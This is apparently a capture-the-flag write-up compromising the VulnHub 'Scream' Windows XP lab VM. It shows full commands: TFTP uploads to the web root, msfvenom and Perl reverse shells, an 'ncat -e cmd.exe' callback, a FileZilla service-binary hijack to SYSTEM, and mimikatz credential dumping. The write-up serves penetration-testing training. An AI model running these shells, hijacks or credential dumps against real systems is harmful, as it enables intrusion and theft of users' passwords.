_________ / _____/ ___________ ____ _____ _____ \_____ \_/ ___\_ __ \_/ __ \\__ \ / \ / \ \___| | \/\ ___/ / __ \| Y Y \ /_______ /\___ >__| \___ >____ /__|_| / .VM. \/ \/ \/ \/ \/ ---------------------------------------------------------------------------- | cReaTeD....: sagi- | DaTe......: 12-11-10 | | oS.........: Windows XP Home/Pro | oBJecTiVe.: Get the local user's | | SP2/3 x86 | password | | iNSTaLLeR..: g0tmi1k | GReeTZ....: #vulnhub | ----------------------------------------------------------------------------
A top 1000 scan using Nmap [
nmap -sS -sV -sC 10.2.0.107] revealed four services running on the VM:
PORT STATE SERVICE VERSION 21/tcp open ftp WAR-FTPD 1.65 (Name Scream XP (SP2) FTP Service) | ftp-anon: Anonymous FTP login allowed (FTP code 230) | drwxr-xr-x 1 ftp ftp 0 Aug 19 15:50 bin | drwxr-xr-x 1 ftp ftp 0 Aug 19 15:53 log |_drwxr-xr-x 1 ftp ftp 0 Aug 19 15:50 root |_ftp-bounce: bounce working! 22/tcp open ssh WeOnlyDo sshd 2.1.3 (protocol 2.0) | ssh-hostkey: | 1024 2c:23:77:67:d3:e0:ae:2a:a8:01:a4:9e:54:97:db:2c (DSA) |_ 1024 fa:11:a5:3d:63:95:4a:ae:3e:16:49:2f:bb:4b:f1:de (RSA) 23/tcp open telnet 80/tcp open http Tinyweb httpd 1.93 |_http-server-header: TinyWeb/1.93 |_http-title: The Scream - Edvard Munch
The version of
war-ftpd that was running seemed to be vulnerable to a buffer overflow (http://www.securityfocus.com/bid/22944/info), but some manual attempts at causing the overflow were unsuccessful; suggesting this may actually be patched or a misidentification.
As the FTP server was accepting anonymous connections, I connected and began to take a look around. Although I didn’t have any write permissions, I did find an interestingly named file in the
/log directory, which suggested a TFTP service could be running:
ftp> cd log 250 CWD successful. "/log" is current directory. ftp> dir 200 Port command successful 150 Opening data channel for directory list. ---------- 1 ftp ftp 2912 Aug 19 18:23 access_log ---------- 1 ftp ftp 1449 Aug 19 18:23 agent_log ---------- 1 ftp ftp 0 Aug 19 15:53 error_log ---------- 1 ftp ftp 674 Nov 01 2012 OpenTFTPServerMT.log ---------- 1 ftp ftp 35 Aug 19 18:22 referer_log 226 Transfer OK
With this in mind, I did a quick test to see if I could transfer a file via tftp:
root@kali:~# tftp 10.2.0.107 tftp> status Connected to 10.2.0.107. Mode: netascii Verbose: off Tracing: off Rexmt-interval: 5 seconds, Max-timeout: 25 seconds tftp> put ssp.c Sent 9785 bytes in 0.0 seconds
As the file transferred successfully, I connected back to the FTP server, to see if the TFTP server was serving one of the same directories, and managed to find my file in the
/root directory; which was also seemingly the root directory of the web server:
ftp> cd root 250 CWD successful. "/root" is current directory. ftp> dir 200 Port command successful 150 Opening data channel for directory list. drwxr-xr-x 1 ftp ftp 0 Feb 08 2013 cgi-bin ---------- 1 ftp ftp 14539 Oct 31 2012 index.html ---------- 1 ftp ftp 10161 Aug 19 19:39 ssp.c 226 Transfer OK
As the TFTP service was pointing directly at the web root, I used
msfvenom to create a reverse TCP executable, which I could place in the
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.2.0.3 LPORT=4444 -f exe -o shell.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 324 bytes Final size of exe file: 73802 bytes Saved as: shell.exe
I then transferred it, ensuring to set the transfer mode to
tftp> binary tftp> mode Using octet mode to transfer files. tftp> put shell.exe cgi-bin/shell.exe Sent 73802 bytes in 0.1 seconds
I then started a handler to catch the shell with:
root@kali:~# ncat -v -l -p 4444 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
And then attempted to invoke the executable by using curl to access
/cgi-bin/shell.exe; but unfortunately it returned an error.
As native executables were out of the question, I tried another reverse TCP payload, but this time using Perl:
root@kali:~# msfvenom -p cmd/windows/reverse_perl LHOST=10.2.0.3 LPORT=4444 -o shell.pl No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: cmd from the payload No encoder or badchars specified, outputting raw payload Payload size: 141 bytes Saved as: shell.pl
There were a few changes I needed to make to
shell.pl first, as the payload tries to invoke Perl with an inline script; where as I just wanted the script, so I removed
perl -MIO -e, the quotes surrounding the script and the back slashes escaping the IP address / port.
In addition to this, I also had to load the
IO::Socket::INET module. The payload after my modifications was:
use IO::Socket::INET;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.2.0.3:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
Now, using the same transport method as before, I was able to upload the Perl script to
cgi-bin/shell.pl and when invoking it by accessing
/cgi-bin/shell.pl using curl, the handler caught the connection and allowed me to start firing commands:
Ncat: Connection from 10.2.0.107. Ncat: Connection from 10.2.0.107:1085. dir Volume in drive C has no label. Volume Serial Number is 1089-0B4E Directory of c:\www\root\cgi-bin 08/19/2017 08:02 PM <DIR> . 08/19/2017 08:02 PM <DIR> .. 08/19/2017 07:45 PM 74,743 shell.exe 08/19/2017 07:55 PM 141 shell.pl 08/19/2017 07:58 PM 129 shell2.pl 08/19/2017 07:58 PM 127 shell3.pl 08/19/2017 08:00 PM 138 shell4.pl 08/19/2017 08:02 PM 148 shell5.pl 6 File(s) 75,426 bytes 2 Dir(s) 7,812,980,736 bytes free
Upgrading Shell to NT AUTHORITY\SYSTEM
As the Perl script I had uploaded was simply shelling commands and provided no interactive functionality, the first thing I did was use TFTP again to transfer a copy of ncat onto the system.
Once transferred, I started up a second handler on port 5555 and used ncat to establish a second session, by running
ncat.exe -e cmd.exe 10.2.0.3 5555.
Now that I had an interactive shell, I began to do some recon to see how I could escalate to the SYSTEM account, as my current shell was running as the user
A look at the current process list revealed there were three services running as SYSTEM, which could potentially be hijacked:
c:\www\root\cgi-bin>tasklist /FI "username eq SYSTEM" tasklist /FI "username eq SYSTEM" Image Name PID Session Name Session# Mem Usage ========================= ====== ================ ======== ============ *** FileZilla server.exe 544 Console 0 3,032 K FreeSSHDService.exe 616 Console 0 8,380 K OpenTFTPServerMT.exe 956 Console 0 1,864 K ***
Next, I took a look at the list of running services, and was able to identify the service names of these three processes:
c:\www\root\cgi-bin>net start net start These Windows services are started: *** FileZilla Server FTP server FreeSSHDService *** Open TFTP Server, MultiThreaded *** The command completed successfully.
As I was using the TFTP service to transport files, I attempted to stop the FileZilla service instead, which I was successfully able to do:
C:\Program Files\FileZilla Server>net stop "FileZilla Server FTP Server" net stop "FileZilla Server FTP Server" The FileZilla Server FTP server service is stopping. The FileZilla Server FTP server service was stopped successfully.
Once the service had been stopped, I checked to see if the user I was logged in as was able to rename the service’s target executable, and as expected - it could!
C:\Program Files\FileZilla Server>move "FileZilla server.exe" "FileZilla server.exe.bak" move "FileZilla server.exe" "FileZilla server.exe.bak"
Now that I could hijack the service, I created another
windows/shell_reverse_tcp executable using msfvenom, as I did earlier, but this time set
LPORT to 5556:
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.2.0.3 LPORT=5556 -f exe -o shell.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 324 bytes Final size of exe file: 73802 bytes Saved as: shell.exe
Once created, I transferred it down using TFTP again, and started another ncat listener, but this time on port 5556.
I then proceeded to move the file from the web root into the FileZilla directory, ensuring to rename the file to what the service was targeting and then restarted the service:
C:\PROGRA~1\FILEZI~1>move C:\www\root\shell.exe "FileZilla server.exe" move C:\www\root\shell.exe "FileZilla server.exe" C:\PROGRA~1\FILEZI~1>net start "FileZilla Server FTP Server" net start "FileZilla Server FTP Server"
Once the service started back up, the new shell popped:
root@kali:~# ncat -v -l -p 5556 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5556 Ncat: Listening on 0.0.0.0:5556 Ncat: Connection from 10.2.0.107. Ncat: Connection from 10.2.0.107:1163. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>
Initially, I tried to verify this was indeed the SYSTEM account by echoing the
%USERNAME% var, but it wasn’t set (first time I have seen that happen); so I started up a new instance of notepad and then used
tasklist to verify the owner of the process:
C:\WINDOWS\system32>echo %username% echo %username% %username% C:\WINDOWS\system32>tasklist /v | find "notepad.exe" tasklist /v | find "notepad.exe" notepad.exe 3776 Console 0 2,624 K Running NT AUTHORITY\SYSTEM 0:00:00 Untitled - Notepad
Getting The Local User Password
The final step was to recover the local user’s password. Using TFTP, again, I transferred a copy of mimikatz on to the system, which I was able to use to grab the password for the
alex account and finish the challenge:
C:\www\root>mimikatz.exe mimikatz.exe .#####. mimikatz 2.1.1 (x86) built on Aug 13 2017 17:27:38 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( firstname.lastname@example.org ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 21 modules * * */ mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 37308 (00000000:000091bc) Session : Interactive from 0 User Name : alex Domain : SCREAM Logon Server : SCREAM Logon Time : 8/19/2017 5:06:49 PM SID : S-1-5-21-1417001333-484763869-682003330-1003 msv :  Primary * Username : alex * Domain : SCREAM * NTLM : 504182f8417ed8557b67e96adc8b4d04 * SHA1 : c84389be8e78f275c4530b00ba54aea1cbd347f7 wdigest : * Username : alex * Domain : SCREAM * Password : thisisaverylongpassword kerberos : * Username : alex * Domain : SCREAM * Password : thisisaverylongpassword